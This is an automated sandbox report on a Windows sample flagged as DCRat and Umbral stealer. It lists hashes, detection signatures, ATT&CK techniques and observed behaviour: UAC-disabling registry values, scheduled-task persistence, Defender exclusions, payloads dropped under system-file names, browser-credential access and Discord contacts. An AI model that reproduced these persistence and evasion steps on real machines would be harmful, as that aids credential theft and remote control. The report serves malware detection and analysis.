dcrat | 4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 03:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe
Size

3.3MB
MD5

db8da2d409c3dc46afe0dd3454388f9c
SHA1

baa1e8196412a06919e37d888651916aae021b69
SHA256

4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823
SHA512

016d678636fafc456e146802da7b5d1b8be3f0b474e335158d65c1df4ae8bb241af43fdd278e99f6d50c6610f0fc775c48621b5d45c5841b904a7e1a971edfc0
SSDEEP

98304:oZ1HRsp8NbXaaIptoNMrF4NOgmwCof84h:oZVIaIpeOrmNOTwCol

Score

10^/10

dcrat umbral credential_access discovery evasion execution infostealer rat spyware stealer trojan

Malware Config

Signatures

DcRat 55 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

pid	Process
4988	schtasks.exe
1068	schtasks.exe
2960	schtasks.exe
3684	schtasks.exe
5008	schtasks.exe
1124	schtasks.exe
3716	schtasks.exe
2528	schtasks.exe
3484	schtasks.exe
900	schtasks.exe
2324	schtasks.exe
1708	schtasks.exe
3144	schtasks.exe
2524	schtasks.exe
4732	schtasks.exe
1372	schtasks.exe
3448	schtasks.exe
4332	schtasks.exe
4992	schtasks.exe
1436	schtasks.exe
1184	schtasks.exe
1776	schtasks.exe
2628	schtasks.exe
3876	schtasks.exe
4472	schtasks.exe
4880	schtasks.exe
2476	powershell.exe
3728	schtasks.exe
4480	schtasks.exe
3656	schtasks.exe
1208	schtasks.exe
1912	schtasks.exe
4044	schtasks.exe
1700	schtasks.exe
2384	schtasks.exe
1700	schtasks.exe
4008	schtasks.exe
1372	schtasks.exe
1056	schtasks.exe
3092	schtasks.exe
4380	schtasks.exe
5076	schtasks.exe
4044	schtasks.exe
1764	schtasks.exe
740	schtasks.exe
1856	schtasks.exe
4652	schtasks.exe
1356	schtasks.exe
2320	schtasks.exe
3196	schtasks.exe
3752	schtasks.exe
3348	schtasks.exe
1848	schtasks.exe
3756	schtasks.exe
1648	schtasks.exe

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023388-23.dat	family_umbral
behavioral2/memory/3828-31-0x0000016DEA6C0000-0x0000016DEA700000-memory.dmp	family_umbral

Process spawned unexpected child process 54 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1124	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2524	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1056	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2628	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1356	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3092	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3448	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2324	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1708	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2320	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4044	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1700	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3348	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	900	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1912	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4332	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4992	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1208	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1436	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3196	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3716	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1184	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4732	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	740	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1856	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4652	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4380	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3756	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4044	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1700	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3876	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4472	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3684	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2528	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5076	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5008	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3752	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4880	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3484	2956	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2384	2956	schtasks.exe	88

UAC bypass 3 TTPs 21 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	hyperInto.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000a00000002338a-48.dat	dcrat
behavioral2/files/0x0007000000023450-135.dat	dcrat
behavioral2/memory/3484-137-0x0000000000CA0000-0x000000000100A000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2476	powershell.exe
1848	powershell.exe
3944	powershell.exe
3404	powershell.exe
4888	powershell.exe
4084	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Saransk.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Injector.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	hyperInto.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	hyperInto.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	explorer.exe

Executes dropped EXE 9 IoCs

pid	Process
3828	Saransk.exe
2776	Injector.exe
3484	hyperInto.exe
2908	hyperInto.exe
3120	explorer.exe
3716	explorer.exe
3484	explorer.exe
1908	explorer.exe
1380	explorer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 14 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hyperInto.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hyperInto.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
33	discord.com
32	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Drops file in Program Files directory 20 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Security\BrowserCore\en-US\System.exe	hyperInto.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\en-US\System.exe	hyperInto.exe
File created	C:\Program Files\Windows Security\BrowserCore\en-US\27d1bcfc3c54e0	hyperInto.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\7a0fd90576e088	hyperInto.exe
File created	C:\Program Files (x86)\Windows NT\04c1e7795967e4	hyperInto.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe	hyperInto.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe	hyperInto.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\29c1c3cc0f7685	hyperInto.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\f3b6ecef712a24	hyperInto.exe
File created	C:\Program Files (x86)\Google\1f93f77a7f4778	hyperInto.exe
File created	C:\Program Files\7-Zip\Lang\6203df4a6bafc7	hyperInto.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\RuntimeBroker.exe	hyperInto.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\6ccacd8608530f	hyperInto.exe
File created	C:\Program Files\Mozilla Firefox\uninstall\RuntimeBroker.exe	hyperInto.exe
File created	C:\Program Files\Mozilla Firefox\uninstall\9e8d7a4ca61bd9	hyperInto.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe	hyperInto.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\spoolsv.exe	hyperInto.exe
File created	C:\Program Files (x86)\Google\MoUsoCoreWorker.exe	hyperInto.exe
File created	C:\Program Files (x86)\Windows NT\TrustedInstaller.exe	hyperInto.exe
File created	C:\Program Files\7-Zip\Lang\lsass.exe	hyperInto.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\schemas\CodeIntegrity\ExamplePolicies\lsass.exe	hyperInto.exe
File created	C:\Windows\Speech_OneCore\Engines\SR\MoUsoCoreWorker.exe	hyperInto.exe
File created	C:\Windows\Speech_OneCore\Engines\SR\1f93f77a7f4778	hyperInto.exe
File created	C:\Windows\ImmersiveControlPanel\SearchApp.exe	hyperInto.exe
File created	C:\Windows\DiagTrack\sppsvc.exe	hyperInto.exe
File created	C:\Windows\DiagTrack\0a1fd5f707cd16	hyperInto.exe
File created	C:\Windows\schemas\CodeIntegrity\ExamplePolicies\6203df4a6bafc7	hyperInto.exe
File created	C:\Windows\ImmersiveControlPanel\38384e6a620884	hyperInto.exe
File created	C:\Windows\Web\Screen\TrustedInstaller.exe	hyperInto.exe
File created	C:\Windows\Web\Screen\04c1e7795967e4	hyperInto.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Injector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1084	cmd.exe
3112	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5068	wmic.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	Injector.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	hyperInto.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	hyperInto.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	explorer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3112	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 54 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1436	schtasks.exe
3728	schtasks.exe
1700	schtasks.exe
1056	schtasks.exe
1708	schtasks.exe
3348	schtasks.exe
4472	schtasks.exe
3196	schtasks.exe
4732	schtasks.exe
5076	schtasks.exe
3752	schtasks.exe
2324	schtasks.exe
2960	schtasks.exe
2384	schtasks.exe
1372	schtasks.exe
1776	schtasks.exe
1912	schtasks.exe
1372	schtasks.exe
4044	schtasks.exe
1356	schtasks.exe
3716	schtasks.exe
3656	schtasks.exe
1856	schtasks.exe
5008	schtasks.exe
2628	schtasks.exe
4008	schtasks.exe
3756	schtasks.exe
1648	schtasks.exe
4880	schtasks.exe
4988	schtasks.exe
2528	schtasks.exe
1184	schtasks.exe
4652	schtasks.exe
3876	schtasks.exe
4480	schtasks.exe
2524	schtasks.exe
3448	schtasks.exe
740	schtasks.exe
3484	schtasks.exe
1124	schtasks.exe
1848	schtasks.exe
900	schtasks.exe
4332	schtasks.exe
4380	schtasks.exe
3684	schtasks.exe
3092	schtasks.exe
2320	schtasks.exe
1068	schtasks.exe
4044	schtasks.exe
1764	schtasks.exe
1700	schtasks.exe
4992	schtasks.exe
1208	schtasks.exe
3144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2476	powershell.exe
2476	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
3828	Saransk.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
2672	powershell.exe
2672	powershell.exe
2672	powershell.exe
4084	powershell.exe
4084	powershell.exe
4084	powershell.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
3484	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
2908	hyperInto.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe
3120	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	3828	Saransk.exe
Token: SeIncreaseQuotaPrivilege	4620	wmic.exe
Token: SeSecurityPrivilege	4620	wmic.exe
Token: SeTakeOwnershipPrivilege	4620	wmic.exe
Token: SeLoadDriverPrivilege	4620	wmic.exe
Token: SeSystemProfilePrivilege	4620	wmic.exe
Token: SeSystemtimePrivilege	4620	wmic.exe
Token: SeProfSingleProcessPrivilege	4620	wmic.exe
Token: SeIncBasePriorityPrivilege	4620	wmic.exe
Token: SeCreatePagefilePrivilege	4620	wmic.exe
Token: SeBackupPrivilege	4620	wmic.exe
Token: SeRestorePrivilege	4620	wmic.exe
Token: SeShutdownPrivilege	4620	wmic.exe
Token: SeDebugPrivilege	4620	wmic.exe
Token: SeSystemEnvironmentPrivilege	4620	wmic.exe
Token: SeRemoteShutdownPrivilege	4620	wmic.exe
Token: SeUndockPrivilege	4620	wmic.exe
Token: SeManageVolumePrivilege	4620	wmic.exe
Token: 33	4620	wmic.exe
Token: 34	4620	wmic.exe
Token: 35	4620	wmic.exe
Token: 36	4620	wmic.exe
Token: SeIncreaseQuotaPrivilege	4620	wmic.exe
Token: SeSecurityPrivilege	4620	wmic.exe
Token: SeTakeOwnershipPrivilege	4620	wmic.exe
Token: SeLoadDriverPrivilege	4620	wmic.exe
Token: SeSystemProfilePrivilege	4620	wmic.exe
Token: SeSystemtimePrivilege	4620	wmic.exe
Token: SeProfSingleProcessPrivilege	4620	wmic.exe
Token: SeIncBasePriorityPrivilege	4620	wmic.exe
Token: SeCreatePagefilePrivilege	4620	wmic.exe
Token: SeBackupPrivilege	4620	wmic.exe
Token: SeRestorePrivilege	4620	wmic.exe
Token: SeShutdownPrivilege	4620	wmic.exe
Token: SeDebugPrivilege	4620	wmic.exe
Token: SeSystemEnvironmentPrivilege	4620	wmic.exe
Token: SeRemoteShutdownPrivilege	4620	wmic.exe
Token: SeUndockPrivilege	4620	wmic.exe
Token: SeManageVolumePrivilege	4620	wmic.exe
Token: 33	4620	wmic.exe
Token: 34	4620	wmic.exe
Token: 35	4620	wmic.exe
Token: 36	4620	wmic.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4100	wmic.exe
Token: SeSecurityPrivilege	4100	wmic.exe
Token: SeTakeOwnershipPrivilege	4100	wmic.exe
Token: SeLoadDriverPrivilege	4100	wmic.exe
Token: SeSystemProfilePrivilege	4100	wmic.exe
Token: SeSystemtimePrivilege	4100	wmic.exe
Token: SeProfSingleProcessPrivilege	4100	wmic.exe
Token: SeIncBasePriorityPrivilege	4100	wmic.exe
Token: SeCreatePagefilePrivilege	4100	wmic.exe
Token: SeBackupPrivilege	4100	wmic.exe
Token: SeRestorePrivilege	4100	wmic.exe
Token: SeShutdownPrivilege	4100	wmic.exe
Token: SeDebugPrivilege	4100	wmic.exe
Token: SeSystemEnvironmentPrivilege	4100	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2476	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	89
PID 2384 wrote to memory of 2476	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	89
PID 2384 wrote to memory of 3828	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	94
PID 2384 wrote to memory of 3828	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	94
PID 2384 wrote to memory of 1848	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	95
PID 2384 wrote to memory of 1848	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	95
PID 3828 wrote to memory of 4620	3828	Saransk.exe	97
PID 3828 wrote to memory of 4620	3828	Saransk.exe	97
PID 2384 wrote to memory of 2776	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	99
PID 2384 wrote to memory of 2776	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	99
PID 2384 wrote to memory of 2776	2384	4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe	99
PID 3828 wrote to memory of 4248	3828	Saransk.exe	100
PID 3828 wrote to memory of 4248	3828	Saransk.exe	100
PID 3828 wrote to memory of 3944	3828	Saransk.exe	102
PID 3828 wrote to memory of 3944	3828	Saransk.exe	102
PID 3828 wrote to memory of 3404	3828	Saransk.exe	104
PID 3828 wrote to memory of 3404	3828	Saransk.exe	104
PID 2776 wrote to memory of 2544	2776	Injector.exe	107
